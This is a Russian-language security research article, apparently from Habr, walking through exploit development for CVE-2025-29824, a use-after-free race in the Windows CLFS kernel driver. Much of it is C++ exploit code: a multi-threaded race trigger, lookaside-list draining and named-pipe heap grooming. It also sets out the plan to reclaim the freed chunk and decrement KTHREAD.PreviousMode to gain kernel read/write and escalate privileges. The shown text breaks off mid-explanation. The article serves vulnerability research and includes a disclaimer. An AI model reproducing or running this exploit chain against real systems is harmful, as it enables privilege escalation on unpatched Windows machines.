Привет, Хабр! На связи Марат Гаянов, я занимаюсь исследованием безопасности. В сфере моих профессиональных интересов эксплуатация уязвимостей, реверс-инжиниринг и фаззинг. В этой статье я хочу рассказать об одном баге, точнее, о его эксплуатации.

Эксплуатация уязвимости типа use after free в ядре Windows и без того непростая задача, но когда к этому добавляется состояние гонки (race condition), сложность возрастает на порядок. CVE-2025-29824 — наглядное тому подтверждение, однако, как будет продемонстрировано ниже, создание рабочего эксплойта для нее — достижимая цель.

Статья носит исключительно информационный характер и не является инструкцией или призывом к совершению противоправных действий. Наша цель — рассказать о существующих уязвимостях, которыми могут воспользоваться злоумышленники, и дать рекомендации по защите. Авторы не несут ответственности за использование кем-то информации из статьи.

Уязвимость была обнаружена в драйвере CLFS (Common Log File System) — подсистеме ядра Windows, отвечающей за ведение логов.

Этот драйвер уже становился источником целого ряда интересных багов:

1. Windows CLFS and five exploits used by ransomware operators

2. Exploiting a use-after-free in Windows Common Logging File System

3. Technical Analysis of Windows CLFS Zero-Day Vulnerability CVE-2022-37969

Изучая свежие исследования по теме, я обнаружил работы My Blind Date with CVE-2025-29824 и Эволюция PipeMagic: от инцидента с RansomExx до эксплуатации LPE-уязвимости CVE-2025-29824, в которых был детально разобран механизм уязвимости. Однако практические аспекты эксплуатации в них почти не освещались. Настоящая статья призвана заполнить этот пробел и показать весь путь разработки эксплойта от триггера уязвимости до повышения прав.

Работа тестировалась на Windows 11 версии 23H2 22631.4751.

Оглавление

Root-cause analysis

Поскольку лог-файл CLFS является обычным файлом, для понимания механизма уязвимости необходимо разобраться с тем, как устроена работа с файлами в Windows и что такое Cache Control Block.

В основе работы с файлами в ядре Windows лежит структура FILE_OBJECT, представляющая открытый файловый объект. Важную роль в этой структуре играет поле FsContext2: оно зарезервировано для хранения драйвер-специфичных данных. То есть позволяет драйверам ассоциировать с файлом свою внутреннюю управляющую информацию. В случае драйвера CLFS в этом поле хранится объект CClfsLogCcb (Cache Control Block), который отслеживает текущие операции и метаданные открытого лог-файла:

struct CClfsLogCcb
{
  _BYTE gap0[8];
  LISTENTRY list_entry;
  ULONG reference_count;
  _DWORD flag;
  _BYTE gap20[8];
  unsigned int m_cArchiveRef;
  _BYTE gap2C[4];
  QWORD mhPhysicalHandle;
  _QWORD qword38;
  char *field_40;
  PFILE_OBJECT m_foFileObj;
  QWORD mfoFileObj2;
  ULONGLONG clfs_lsn58;
  ULONGLONG clfs_lsn60;
  _QWORD qword68;
  __int64 field_70;
  __int64 field_78;
  CClfsBaseFileSnapshot *field_80;
  _BYTE gap88[16];
  ERESOURCE m_Resource;
  struct CClfsLogCcb::ILifetimeListener *m_pltlLifeTimeListener;
  _QWORD qword108;
};

Он содержит различную информацию: флаг, счетчик текущих операций reference_count, счетчик архивов m_cArchiveRef, различные дескрипторы и неизвестные поля.

Для корректной работы объект CClfsLogCcb должен сохраняться в памяти до полного завершения всех операций с лог-файлом и закрытия последнего дескриптора на него. О наступлении этих событий драйвер CLFS узнает через I/O-запросы IRP_MJ_CLEANUP (при закрытии дескриптора) и IRP_MJ_CLOSE (при завершении всех операций).

Безопасное удаление объекта возможно только после получения запроса IRP_MJ_CLOSE, который гарантирует, что все операции с файлом либо завершены, либо отменены. Однако в уязвимой реализации драйвер ошибочно удалял CClfsLogCcb уже при получении IRP_MJ_CLEANUP, хотя некоторые методы CLFS все еще м��гли работать с этим объектом.

Именно здесь возникает состояние гонки (race condition) — между моментом закончившейся обработки IRP_MJ_CLEANUP и завершением операций, которые продолжают использовать удаленный CClfsLogCcb.

Выявлено четыре операции, которые могут участвовать в гонке:

  1. CClfsRequest::ReserveAndAppendLog()

  2. CClfsRequest::WriteRestart()

  3. CClfsRequest::ReadArchiveMetadata()

  4. CClfsRequest::StartArchival() 

Наиболее перспективным для эксплуатации оказался метод CClfsRequest::StartArchival. Именно на его примере будет раскрыта практическая часть создания эксплойта для CVE-2025-29824.

Рассмотрим его:

Рисунок 1. CClfsRequest::StartArchival
Рисунок 1. CClfsRequest::StartArchival

Анализ уязвимости показал, что обработчик IRP_MJ_CLEANUP удаляет объект CClfsLogCcb в промежутке между вызовами CClfsLogCcb::AddRef и CClfsLogCcb::AddArchiveRef.

Рисунок 2. Состояние гонки
Рисунок 2. Состояние гонки

Как будет показано далее, для эксплуатации необходим перехват чанка памяти, в котором находился CClfsLogCcb, подмена его содержимого таким образом, чтобы он попал в деструктор CClfsLogCcb::~CClfsLogCcb, который вызывается внутри CClfsLogCcb::Release. Это возможно только при условии reference_count = 1:

Рисунок 3. CClfsLogCcb::Release
Рисунок 3. CClfsLogCcb::Release

В случае если бы удаление CClfsLogCcb происходило до вызова CClfsLogCcb::AddRef, потребовалось бы установить счетчик в 0, потому что CClfsLogCcb::AddRef инкрементирует reference_count:

Рисунок 4. CClfsLogCcb::AddRef
Рисунок 4. CClfsLogCcb::AddRef

Однако такие попытки заканчивались неудачей, тогда как reference_count = 1 обеспечивал успешное выполнение. Поэтому был сделан вывод о том, что удаление CClfsLogCcb происходит после CClfsLogCcb::AddRef.

Это наблюдение станет основой для разработки стратегии эксплуатации в следующем разделе, а сейчас создадим триггер уязвимости:

#define START_ARCHIVAL 0x8007283E

HANDLE hCloseLogThread, hSlowThread, hFastThread;
HANDLE startCloseEvent, startPwnEvent, startFastEvent;

int wmain(int argc, wchar_t* argv[]) {

	DWORD res;
	HANDLE hLog;

	std::wstring logName = L"LOG:hello" + std::to_wstring(101);
	std::wstring logNameDbg = L"LOG:hello" + std::to_wstring(105) + L".blf";

	hLogDebug = CreateLogFile(
    	logNameDbg.c_str(),
    	GENERIC_WRITE | GENERIC_READ,
    	FILE_SHARE_READ | FILE_SHARE_WRITE,
    	NULL,
    	OPEN_ALWAYS,
    	FILE_ATTRIBUTE_ARCHIVE
	);

	if (hLogDebug == INVALID_HANDLE_VALUE) {
    	std::wcerr << L"Failed to create debug log file. Error: " << GetLastError() << std::endl;
    	return 1;
	}

	// CreateLayout(0x120);
	// CreateHolesAfd(0x120);
	// CreateFrees();   

	for (int i = 0; i < 250; i++) {
    	printf("[*] Current loop: %d\n", i);
      
    	hLog = CreateLogFile(
        	logName.c_str(),
        	GENERIC_WRITE | GENERIC_READ,
        	FILE_SHARE_READ | FILE_SHARE_WRITE,
        	NULL,
        	OPEN_ALWAYS,
        	FILE_ATTRIBUTE_ARCHIVE
    	);

    	if (hLog == INVALID_HANDLE_VALUE) {
        	printf("[-] Failed to create log file\n");
        	return 0;
    	}

    	startCloseEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
    	startPwnEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
    	startFastEvent = CreateEvent(NULL, FALSE, FALSE, NULL);

    	hCloseLogThread = CreateThread(NULL, 0, [](LPVOID param) -> DWORD {
        	WaitForSingleObject(startCloseEvent, INFINITE);
        	CloseHandle(param);
        	return 0;
    	}, hLog, CREATE_SUSPENDED, NULL);

    	hSlowThread = CreateThread(NULL, 0, [](LPVOID param) -> DWORD {
        	int inputBuffer[0x100];
        	for (int i = 0; i < 0x100; i++) {
            	inputBuffer[i] = 1;
        	}

        	inputBuffer[0xa] = 0x16;
        	std::wstring myArchive = L"myarchive" + std::wstring(543, 'A');
        	
            DeviceIoControl(param, START_ARCHIVAL, inputBuffer, sizeof(inputBuffer), (VOID*)myArchive.c_str(), wcslen(myArchive.c_str()), NULL, NULL);
        	
            SetEvent(startCloseEvent);
        	SetEvent(startPwnEvent);
        	SetEvent(startFastEvent);

        	for (int i = 0; i < 30000; i++) {
            	DeviceIoControl(param, START_ARCHIVAL, inputBuffer, sizeof(inputBuffer), (VOID*)myArchive.c_str(), wcslen(myArchive.c_str()), NULL, NULL);
        	}

        	return 0;
    	}, hLog, CREATE_SUSPENDED, NULL);

    	hFastThread = CreateThread(NULL, 0, [](LPVOID param) -> DWORD {
        	WaitForSingleObject(startFastEvent, INFINITE);
          
        	BYTE inputBuffer[0x10] = { 0 };
        	std::wstring myArchive = L"myarchive" + std::wstring(543, 'A');

        	for (int i = 0; i < 30000; i++) {
            	DeviceIoControl(param, START_ARCHIVAL, inputBuffer, sizeof(inputBuffer), (VOID*)myArchive.c_str(), wcslen(myArchive.c_str()), NULL, NULL);
        	}
        	return 0;
        }, hLog, CREATE_SUSPENDED, NULL);

    	hPwnThread = CreateThread(NULL, 0, [](LPVOID param) -> DWORD {
        	WaitForSingleObject(startPwnEvent, INFINITE);
          
        	//CreateChunksAfd();

        	return 0;
        }, hLog, CREATE_SUSPENDED, NULL);

    	if (!SetThreadAffinityMask(hCloseLogThread, 3)) {
        	printf("SetThreadAffinityMask(hCloseLogThread, 3) failed\n");
        	return 1;
    	}

    	if (!SetThreadAffinityMask(hSlowThread, 2)) {
        	printf("SetThreadAffinityMask(hSlowThread, 2) failed\n");
        	return 1;
    	}

    	if (!SetThreadAffinityMask(hFastThread, 1)) {
        	printf("SetThreadAffinityMask(hFastThread, 1) failed\n");
        	return 1;
    	}

    	if (!SetThreadAffinityMask(hPwnThread, 4)) {
        	printf("SetThreadAffinityMask(hPwnThread, 4) failed\n");
        	return 1;
    	}

    	/*
    	g_pwnThread_kThread = leakkThread(hPwnThread);
    	if (!g_pwnThread_kThread) {
        	printf("[-] Failed to leak g_pwnThread_kThread\n");
        	return 1;
    	}

    	g_previousMode = g_pwnThread_kThread + 0x232;
    	g_pOwnProcess = g_pwnThread_kThread + 0x220;
    	g_fakeFileObj = g_previousMode + 0x30;
    	*/

    	ResumeThread(hCloseLogThread);
    	ResumeThread(hSlowThread);
    	ResumeThread(hFastThread);
    	ResumeThread(hPwnThread);
      
    	WaitForSingleObject(hCloseLogThread, 2000);
    	WaitForSingleObject(hSlowThread, 2000);
    	WaitForSingleObject(hFastThread, 2000);
    	WaitForSingleObject(hPwnThread, 2000);
	}
	return 0;
}

Детальное разъяснение закомментированных участков кода будет дано в следующих разделах.

Механизм работы триггера построен на создании состояния гонки между закрытием дескриптора лог-файла и выполнением над ним операции архивирования. Ключевое отличие от триггера, описанного в исследовании, заключается в добавлении потока hFastThread. Это позволяет одновременно использовать дв�� потока для создания ситуации use after free, благодаря чему увеличивается как скорость срабатывания, так и стабильность воспроизведения.

В результате работы ядро «падает» со следующим стек-трейсом:

# Child-SP      	RetAddr           	Call Site

00 ffff84031d9c6b78 fffff80562d66c12 	nt!DbgBreakPointWithStatus
01 ffff84031d9c6b80 fffff80562d662d3 	nt!KiBugCheckDebugBreak+0x12
02 ffff84031d9c6be0 fffff80562c15017 	nt!KeBugCheck2+0xba3
03 ffff84031d9c7350 fffff80562c2ae29 	nt!KeBugCheckEx+0x107
04 ffff84031d9c7390 fffff80562c26289 	nt!KiBugCheckDispatch+0x69
05 ffff84031d9c74d0 fffff80562acefe5 	nt!KiPageFault+0x489
06 ffff84031d9c7660 fffff80564b98be5 	nt!ExDeleteResourceLite+0x125
07 ffff84031d9c76b0 fffff80564b97f42 	CLFS!CClfsLogCcb::~CClfsLogCcb+0x31
08 ffff84031d9c76f0 fffff80564bb4a11 	CLFS!CClfsLogCcb::Release+0x32
09 ffff84031d9c7720 fffff80564b9858f 	CLFS!CClfsRequest::StartArchival+0x14d
0a ffff84031d9c7790 fffff80564b978be 	CLFS!CClfsRequest::Dispatch+0x2e3
0b ffff84031d9c77e0 fffff80564b97807 	CLFS!ClfsDispatchIoRequest+0x8e
0c ffff84031d9c7830 fffff80562a650d5 	CLFS!CClfsDriver::LogIoDispatch+0x27
0d ffff84031d9c7860 fffff80562ec8cc0 	nt!IofCallDriver+0x55
0e ffff84031d9c78a0 fffff80562ec7550 	nt!IopSynchronousServiceTail+0x1d0
0f ffff84031d9c7950 fffff80562ec6e36 	nt!IopXxxControlFile+0x700
10 ffff84031d9c7b40 fffff80562c2a505 	nt!NtDeviceIoControlFile+0x56
11 ffff84031d9c7bb0 00007ff975df0484 	nt!KiSystemServiceCopyEnd+0x25

Конкретный виновник — CClfsLogCcb.m_Resource, ставший невалидным в результате использования CClfsLogCcb.

Рисунок 5. Падение в деструкторе
Рисунок 5. Падение в деструкторе

Попробуем добиться большего, чем просто краш: создадим стратегию, которая позволит повысить привилегии в системе, и реализуем ее.

Стратегия эксплуатации

Чтобы разработать план, рассмотрим поток исполнения CClfsRequest::StartArchival:

CClfsRequest::StartArchival

-> CClfsLogCcb::AddRef(Ccb)
[Момент удаления Ccb]

-> CClfsLogCcb::AddArchiveRef(Ccb)
--> ExAcquireResourceExclusiveLite(Ccb.m_Resource)
--> ExReleaseResourceLite(Ccb.m_Resource)

-> CClfsLogCcb::Release
--> CClfsLogCcb::~CClfsLogCcb
---> ObfDereferenceObject(Ccb.m_foFileObj2)
---> ExDeleteResourceLite(Ccb.m_Resource)
  
--> ExFreeToNPagedLookasideList

Самое важное здесь заключается в том, что путь потока проходит через функцию ObfDereferenceObject с аргументом Ccb.m_foFileObj2. В обычной ситуации это привело бы к декременту счетчика ссылок на файловый объект Ccb.m_foFileObj2.

Однако в случае с CVE-2025-29824 атакующий получает контроль над аргументом функции, что позволяет выполнить декремент произвольного QWORD в памяти ядра. И благодаря этому открывается возможность для создания примитивов на чтение и запись.

Ключевую роль здесь играет структура KTHREAD, описывающая потоки в ядре. Ее поле PreviousMode разграничивает режимы работы: значение 0 соответствует потоку ядра, 1 — пользовательскому потоку. Именно на это поле ориентируются функции вроде NtReadVirtualMemory и NtWriteVirtualMemory, проверяя, разрешен ли вызывающему потоку доступ к ядерной памяти. Пользовательскому потоку это, конечно, запрещено.

И возможность уменьшить произвольное значение в ядре позволяет злоумышленнику изменить поле PreviousMode пользовательского потока c 1 на 0, превратив его в поток ядра. Что сразу же снимает запрет на работу с ядерной памятью, позволяя свободно читать и писать в нее.

На практике реализация этой техники выглядит следующим образом. Адрес структуры KTHREAD нужного потока получается с помощью функции NtQuerySystemInformation. Поле PreviousMode в этой структуре располагается по смещению 0x232. Чтобы обнулить это поле через декремент, необходимо передать в ObfDereferenceObject значение ptr_PreviousMode + 0x30

Рисунок 6. ObfDereferenceObject
Рисунок 6. ObfDereferenceObject

Поэтому главной задачей становится перехват освобожденного чанка памяти CClfsLogCcb и подмена его содержимого. Необходимо подменить данные таким образом, чтобы обеспечить корректное выполнение кода вплоть до вызова ObfDereferenceObject внутри деструктора CClfsLogCcb::~CClfsLogCcb. Это позволит изменить значение PreviousMode с 1 на 0 и воспользоваться примитивами для повышение привилегий в системе.

Путь до деструктора

В предыдущем разделе показан путь, через который идет поток исполнения. И на его пути встречаются вызовы ExAcquireResourceExclusiveLite(Ccb.m_Resource), ExReleaseResourceLite(Ccb.m_Resource) внутри CClfsLogCcb::AddArchiveRef. А это сильно усложняет задачу добраться до CClfsLogCcb::~CClfsLogCcb, потому что m_Resource имеет тип ERESOURCE, который непросто сделать валидным:

typedef struct _ERESOURCE {
	LIST_ENTRY 	SystemResourcesList;  	// 0x00
	OWNER_ENTRY	*OwnerTable;          	// 0x10
	SHORT      	ActiveCount;          	// 0x18
	USHORT     	Flag;                 	// 0x1A
	PKSEMAPHORE	SharedWaiters;        	// 0x20
	PKSEMAPHORE	ExclusiveWaiters;     	// 0x28
	OWNER_ENTRY	OwnerEntry;           	// 0x30
	ULONG      	ActiveEntries;        	// 0x40
	ULONG      	ContentionCount;      	// 0x44
	ULONG      	NumberOfSharedWaiters;	// 0x48
	ULONG      	NumberOfExclusiveWaiters; // 0x4c
	PVOID      	Reserved2;            	// 0x50
	ULONG_PTR  	CreatorBackTraceIndex;	// 0x58
	KSPIN_LOCK 	SpinLock;             	// 0x60
} ERESOURCE, *PERESOURCE;

 Эта структура должна содержать корректные поля, чтобы ExAcquireResourceExclusiveLite и ExReleaseResourceLite корректно отработали и передали управление дальше. Сложность заключается в том, что ERESOURCE содержит внутри ядерные адреса. Однако на момент перехвата чанка отсутствует примитив на чтение и нет возможности их узнать.

Но это и не потребуется, так как вызов CClfsLogCcb::AddArchiveRef происходит внутри блока try–catch:

__int64 __fastcall CClfsRequest::StartArchival(CClfsRequest *this){
	...
	try{
    	...
    	CClfsLogCcb::AddRef();
    	...
    	CClfsLogCcb::AddArchiveRef();
    	...
	}
	catch(...){
    	CClfsLogCcb::Release();
	}
}
Рисунок 7. Начало блока try–catch
Рисунок 7. Начало блока try–catch

Из этого следует, что невалидный ERESOURCE даже быстрее позволит добраться до CClfsLogCcb::~CClfsLogCcb. Потому что в случае исключения поток исполнения перепрыгнет в блок catch и вызовет CClfsLogCcb::Release, внутри которого и происходит вызов деструктора.

Создать такое исключение проще всего через поле SpinLock, положив туда 8 байт мусора. В процессе обработки ERESOURCE внутри ExAcquireResourceExclusiveLite дело дойдет до KxWaitForLockOwnerShip, где и произойдет исключение из-за мусора в SpinLock и переход в CClfsLogCcb::~CClfsLogCcb:

ffffc600`44d7d8b0 fffff805`2975591e 	: ffffb08c`b424dc70 fffff805`2a05f54b ffffd902`3f25b000 ffffd902`3f255000 : CLFS!CClfsLogCcb::~CClfsLogCcb
ffffc600`44d7d8f0 fffff805`297786ce 	: ffffb08c`aeea8480 ffffc600`44d7dfd0 ffffc600`44d7da60 fffff805`2a1450b5 : CLFS!CClfsLogCcb::Release+0x32
ffffc600`44d7d920 fffff805`2a1d0b51 	: fffff805`00000003 ffffd902`3f25a700 ffffd902`3f255000 ffffd902`3f25b000 : CLFS!`CClfsRequest::StartArchival'::`1'::fin$0+0x7d
ffffc600`44d7d970 fffff805`2a2094af 	: ffffd902`3f25a700 ffffc600`44d7df60 ffffd902`3f25a8b0 ffffd902`3f25a8b0 : nt!_C_specific_handler+0x1a1
ffffc600`44d7d9e0 fffff805`2a0eefc4 	: ffffc600`44d7e7c0 ffffd902`00000000 ffffc600`44d7e7c0 fffff805`29743a74 : nt!RtlpExecuteHandlerForUnwind+0xf
ffffc600`44d7da10 fffff805`2a1d0a95 	: fffff805`29737fe8 fffff805`00000001 ffffd902`3f25a8b0 ffffd902`3f25b000 : nt!RtlUnwindEx+0x2c4
ffffc600`44d7e130 fffff805`2a20942f 	: fffff805`29741df4 ffffc600`44d7e710 fffff805`2972c47d 00000000`00000000 : nt!_C_specific_handler+0xe5
ffffc600`44d7e1a0 fffff805`2a0eead7 	: ffffc600`44d7e710 00000000`00000000 ffffd902`3f25a8b0 fffff805`29754bc7 : nt!RtlpExecuteHandlerForException+0xf
ffffc600`44d7e1d0 fffff805`2a139676 	: ffffd902`3f25a358 ffffc600`44d7ee20 ffffd902`3f25a358 ffffd902`3f25a620 : nt!RtlDispatchException+0x297
ffffc600`44d7e8f0 fffff805`2a1ffa52 	: 00000000`00000000 00000000`00000000 ffff0300`00000000 00000000`ffffffff : nt!KiDispatchException+0x186
ffffc600`44d7efb0 fffff805`2a1ffa20 	: fffff805`2a2132e5 ffffd902`3f25a401 00000000`00000000 00000000`00000000 : nt!KxExceptionDispatchOnExceptionStack+0x12
ffffd902`3f25a218 fffff805`2a2132e5 	: ffffd902`3f25a401 00000000`00000000 00000000`00000000 00000000`00000180 : nt!KiExceptionDispatchOnExceptionStackContinue
ffffd902`3f25a220 fffff805`2a20e6ef 	: 00000000`000000c7 00000000`00000000 00000000`00000000 fffff805`2a050aa9 : nt!KiExceptionDispatch+0x125
ffffd902`3f25a400 fffff805`2a07416e 	: ffffb08c`b3b7c8f0 fffff805`2a05929d ffffb08c`b3b7c240 ffffb08c`b424dd08 : nt!KiGeneralProtectionFault+0x32f
ffffd902`3f25a590 fffff805`2a05f9e5 	: 00000000`0000000f 00000000`000000c0 00000000`00000001 fffff780`00000320 : nt!KxWaitForLockOwnerShip+0xe
ffffd902`3f25a5c0 fffff805`2a18f2cd 	: ffffb08c`af3d8bb0 ffffd902`3f25a670 ffffb08c`b424dd08 00000000`00000000 : nt!KxAcquireQueuedSpinLock+0x55
ffffd902`3f25a5f0 fffff805`2a18e91e 	: ffffb08c`b3b7c240 ffffb08c`b424dd01 ffffb08c`af3d8bb0 ffffb08c`b424dd08 : nt!ExAcquireFastResourceExclusive+0x16d
ffffd902`3f25a6a0 fffff805`2a05ae00 	: ffffb08c`b424dd08 ffffb08c`af3d8a08 000af3d4`0740ffff 00000000`000000ff : nt!ExpFastResourceLegacyAcquireExclusive+0x2a
ffffd902`3f25a6d0 fffff805`29731329 	: 00000000`00000001 00000000`00000001 00000000`40000000 ffffb08c`b424dc70 : nt!ExAcquireResourceExclusiveLite+0x2c0
ffffd902`3f25a760 fffff805`297785e1 	: ffffb08c`b424dc70 ffffb08c`b7b51900 ffffb08c`b424dc70 ffffb08c`b424dc70 : CLFS!CClfsLogCcb::AddArchiveRef+0x49
ffffd902`3f25a7f0 fffff805`2975503c 	: ffffb08c`aeea8480 00000000`00000000 ffffb08c`b7b51830 ffffb08c`b7b51830 : CLFS!CClfsRequest::StartArchival+0xf9

Таким образом, невалидный m_Resource оказался полезен в решении задачи вызвать CClfsLogCcb::~CClfsLogCcb, однако в дальнейшем создаст много проблем уже при выходе из CClfsLogCcb::~CClfsLogCcb.

Про это позже, а сейчас рассмотрим, как перехватить освобожденный чанк, в котором был расположен CClfsLogCcb, таким образом, чтобы добраться до ObfDereferenceObject и переключить PreviousMode.

Перехват чанка

При анализе падение, вызванного триггером, было обнаружено, что в момент сбоя объект CClfsLogCcb имел статус Allocated, хотя по характеру уязвимости (UAF) ожидалось состояние Free:

Рисунок 8. CClfsLogCcb выделяется в Nonpaged-пуле
Рисунок 8. CClfsLogCcb выделяется в Nonpaged-пуле

Аллокатор и lookaside list

Оказалось, что память под CClfsLogCcb выделяется не стандартной функцией из семейства ExAllocate*, а через ExInitializeNPagedLookasideList.

Эта функция инициализирует двусвязный список (lookaside list) заранее аллоцированных блоков фиксированного размера для увеличения быстродействия. В случае освобождения чанка он возвращается в список, не меняя статус.

Поэтому просто так перехватить его не получится, для аллокатора он будет выглядеть как занятый и не будет выдан.

Однако механизм освобождения предусматривает сценарий, при котором чанк может и не попасть в список:

Рисунок 9. Механизм освобождения
Рисунок 9. Механизм освобождения

Дело в том, что работа списка управляется двумя метриками: глубиной (максимальным размером списка) и текущим заполнением.

Если при освобождении объекта список уже заполнен до предела, чанк освобождается по-настоящему — через nt!ExFreePool.

При этом глубина списка является динамической. Например, для CClfsLogCcb::m_laList (так называется список для хранения объектов CClfsLogCcb) начальная емкость равна 4, и первые четыре освобожденных чанка будут сохранены в списке.

Пятый и последующие — будут окончательно освобождаться, создавая возможность для перехвата. Однако при достижении примерно 20 элементов емкость увеличится до 40, что временно останавливает «утечку». Но если список долго не используется, его емкость сбрасывается обратно до 4.

Точную формулу этого поведения вывести не удалось, но эмпирически установлено: после 30 циклов открытия-закрытия 300 логов и паузы в 75 секунд в списке остается 260 чанков при емкости всего 4.

Это дает 256 попыток воспользоваться UAF.

Реализация этого механизма представлена ниже:

HANDLE logHandles[300];
void CreateLogs() {   
	HANDLE hLog;
	std::wstring log;
	for (int i = 0; i < 300; i++) {
    	log = L"LOG:hello" + std::to_wstring(i);
    	hLog = CreateLogFile(
        	log.c_str(),
        	GENERIC_WRITE | GENERIC_READ,
        	FILE_SHARE_READ | FILE_SHARE_WRITE,
        	NULL,
        	OPEN_ALWAYS,
        	FILE_ATTRIBUTE_ARCHIVE
    	);
    	if (hLog == INVALID_HANDLE_VALUE) {
        	std::wcerr << L"Failed to create log file. Error: " << GetLastError() << std::endl;
        	exit(1);
    	}
    	logHandles[i] = hLog;
	}
}
void CloseLogs() {
	for (int i = 0; i < 300; i++) {
    	CloseHandle(logHandles[i]);
	}
}
void CreateFrees() {
	printf("[*] Creating frees...\n");
	for (int i = 0; i < 30; i++) {
    	CreateLogs();
    	CloseLogs();
	}
	printf("[*] Cool down...\n");
	std::this_thread::sleep_for(75000ms);
}

Такой алгоритм позволяет перевести CClfsLogCcb из состояния Allocated в состояние Free, необходимое для перехвата. Далее подготовим heap таким образом, чтобы перехват состоялся.

Heap grooming

Зная, что объект CClfsLogCcb занимает чанк размером 0x120 байт, сформируем в куче дыры такого же размера. Это позволит сначала разместить объект CClfsLogCcb в подготовленной области и затем, после его освобождения, разместить там же подконтрольный объект. Для этого подойдет Named Pipe:

#define CHUNKS_COUNT 10000
HANDLE wPipes[CHUNKS_COUNT];
HANDLE rPipes[CHUNKS_COUNT];

void CreateLayout(int chunkSize) {
	DWORD res;
	NTSTATUS r;
	std::wstring pipeName;
	int newChunkSize = chunkSize - 0x10 - 0x30;
 
	char* buf = (char*)malloc(newChunkSize);
	memset(buf, 'B', newChunkSize);
    for (int i = 0; i < CHUNKS_COUNT; i++) {
    	pipeName = L"\\\\.\\pipe\\exploit_" + std::to_wstring(i);
    	wPipes[i] = CreateNamedPipe(
        	pipeName.c_str(),
        	PIPE_ACCESS_OUTBOUND | FILE_FLAG_OVERLAPPED,
        	PIPE_TYPE_BYTE | PIPE_WAIT,
        	PIPE_UNLIMITED_INSTANCES,
        	0x1000,
        	0x1000,
        	0,
        	NULL);
    	rPipes[i] = CreateFile(pipeName.c_str(), GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0);
    	WriteFile(wPipes[i], buf, newChunkSize, &res, 0);
	}
	free(buf);
}

void CreateHolesAfd(int chunkSize) {
	DWORD res;
	int newChunkSize = chunkSize - 0x10 - 0x30;
	char* buf = (char*)malloc(newChunkSize);
	for (int i = 1; i < CHUNKS_COUNT-1; i += 3) {
    	ReadFile(rPipes[i], buf, newChunkSize, &res, 0);
    	ReadFile(rPipes[i+1], buf, newChunkSize, &res, 0);
	}
	free(buf);
}

Работа кода основана на том, что драйвер npfs.sys, отвечающий за работу Named Pipes, создает объект DATA_QUEUE_ENTRY для хранения сообщения, переданного через WriteFile, и удаляет его после прочтения через ReadFile:

struct DATA_QUEUE_ENTRY {
	LIST_ENTRY NextEntry;                  	// +0x00
	_IRP* Irp;                             	// +0x10
	_SECURITY_CLIENT_CONTEXT* SecurityContext; // +0x18
	uint32_t EntryType;                    	// +0x20
	uint32_t QuotaInEntry;                 	// +0x24
	uint32_t DataSize;                     	// +0x28
	uint32_t x;                            	// +0x2c
	char Data[];                           	// +0x30
}

В сообщении передается множество B просто для демонстрации, но вообще там может быть все что угодно:

Рисунок 10. DATA_QUEUE_ENTRY в памяти
Рисунок 10. DATA_QUEUE_ENTRY в памяти

Эта простая схема создания и освобождения объектов позволяет эффективно манипулировать состоянием кучи для последующей эксплуатации. За подробностями работы с npfs.sys отсылаю к работе «Windows-Non-Paged-Pool-Overflow-Exploitation».

В результате heap grooming мы наблюдаем следующую картину: объект CClfsLogCcb (с тегом ClfE) располагается среди объектов Named Pipe (тег NpFr):

Рисунок 11. Результат heap grooming
Рисунок 11. Результат heap grooming

После освобождения CClfsLogCcb в куче образуется свободный чанк размером 0x120 байт. В момент выделения памяти для объекта аналогичного размера аллокатор будет стараться заполнить дыру и выдаст этот чанк. Постараемся сделать так, чтобы это был подконтрольный нам объект.

Далее рассмотрим, объект какого типа нужно создать, чтобы реализовать стратегию эксплуатации.

NonPaged-пул

Известно, что память под CClfsLogCcb выделяется в NonPaged-пуле, поэтому и подконтрольный объект должен располагаться в том же пуле.

Чтобы определить, каким критериям должен удовлетворять такой объект, рассмотрим деструктор:

Рисунок 12. Деструктор
Рисунок 12. Деструктор

И CClfsLogCcb::Release, который вызывает деструктор:

Рисунок 13. CClfsLogCcb::Release
Рисунок 13. CClfsLogCcb::Release

Стратегия эксплуатации предполагает выполнение ObfDereferenceObject с подконтрольным аргументом m_foFileObj2. Для этого необходимо:

  • установить reference_count (смещение 0x18 от начала CClfsLogCcb) = 1;

  • обеспечить flag(0x1c) = 0;

  • предоставить корректный m_Resource(0x98), чтобы избежать сбоя при завершении работы деструктора.

Когда дело касается эксплуатации багов, связанных с NonPaged-пулом, на ум сразу приходит мысль воспользоваться уже рассмотренным объектом DATA_QUEUE_ENTRY, потому что он выделяется в NonPaged-пуле.

Однако для подмены CClfsLogCcb он не подходит, потому что у него первые 0x30 байт занимают служебные поля, которые не находятся под контролем и содержат неправильные данные:

— по смещению 0x18 лежит указатель SecurityContext, который не будет равен 1;

— по смещению 0x1c лежит часть того же указателя, которая не будет равна 0.

Поэтому потребовалось найти другой объект, который удовлетворял бы всем условиям. И такой объект был обнаружен в драйвере afd.sys — объект с тегом AfdR. Драйвер afd.sys контролирует работу сокетов, а в объекте AfdR хранится информация, нужная для отправки сообщений.

Структура AfdR предназначена для хранения адреса сервера, к которому осуществляется подключение при отправке IOCTL-запроса IOCTL_AFD_CONNECT.

Для изучения содержимого AfdR вначале рассмотрим обычный случай подключения сокета к TCP-серверу:

int main() {
	WSADATA wsaData;
	SOCKET client = INVALID_SOCKET;
	struct sockaddr_in serverAddr;
	int iResult;
  
	// Initialize Winsock
	iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
  
	// Create socket
	client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  
	// Setup the TCP connection to 127.0.0.1:5555
	serverAddr.sin_family = AF_INET;
	serverAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
	serverAddr.sin_port = htons(5555);
  
	// Connect to server
	iResult = connect(client, (SOCKADDR*)&serverAddr, sizeof(serverAddr));
	printf("Connected to server at 127.0.0.1:5555\n");
	closesocket(client);
	WSACleanup();
	return 0;
}

Вызов функции connect приводит к отправке IOCTL-запроса IOCTL_AFD_CONNECT с указанием адреса сервера, который имеет следующий формат:

typedef struct sockaddr_in {
	ADDRESS_FAMILY sin_family;
	USHORT sin_port;
	IN_ADDR sin_addr;
	CHAR sin_zero[8];
} SOCKADDR_IN, *PSOCKADDR_IN;

Он же в памяти:

Рисунок 14. SOCKADDR_IN в памяти
Рисунок 14. SOCKADDR_IN в памяти

Теперь рассмотрим интересный участок функции AfdConnect, который обрабатывает данный IOCTL-запрос:

 

Рисунок 15. Обработка нестандартного адреса
Рисунок 15. Обработка нестандартного адреса

